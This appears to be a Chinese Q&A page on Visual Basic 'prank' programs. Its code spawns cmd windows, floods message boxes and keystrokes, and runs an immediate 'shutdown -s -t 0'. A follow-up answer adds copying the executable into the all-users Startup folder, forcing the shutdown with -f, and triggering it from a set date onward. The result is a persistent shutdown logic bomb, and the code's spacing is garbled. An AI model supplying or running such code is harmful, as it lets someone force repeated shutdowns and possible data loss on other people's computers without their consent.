vb恶搞程序有哪些？

1、窗口炸d\x0d\x0aPrivateSubForm_Load()\x0d\x0aFora=1To10\x0d\x0aShell"cmd/cecho轰隆——一切的全完了！&pause",vbNormalFocus\x0d\x0aNext\x0d\x0aEndSub\x0d\x0a2、数羊程序\x0d\x0aPrivateSubForm_Load()\x0d\x0aMsgBox"困死我了，睡不着，帮我数羊",,"数羊"\x0d\x0aMsgBox"就一百只羊吧！",,"数羊"\x0d\x0aFora=1To100\x0d\x0aMsgBoxa&"只羊",,"数羊"\x0d\x0aNext\x0d\x0aMsgBox"身边没个人，好孤单，好寂寞??","64","数羊"\x0d\x0aShell"shutdown-s-t0"\x0d\x0aEndSub\x0d\x0a3、按十万次回车\x0d\x0aPrivateSubForm_Load()\x0d\x0aFora=1To100000\x0d\x0aSendKeys"{enter}"\x0d\x0aNext\x0d\x0aEndSub

s2

=

"C:\Documents

and

Settings\Administrator\「开始」菜单\程序\启动\"

&

App.EXEName

&

".exe"

把Administrator改成all

users

Shell

"Shutdown.exe

-s

-t

0"改成Shell

"Shutdown.exe

-s

-t

0

-f"

If

Format(Now,

"yyyy/mm/dd")

=

"20100402"

Then

改成

If

val(Format(Now,

"yyyy/mm/dd"))>=

20100402

Then

错误70是权限错误,不知道你为何遇到

---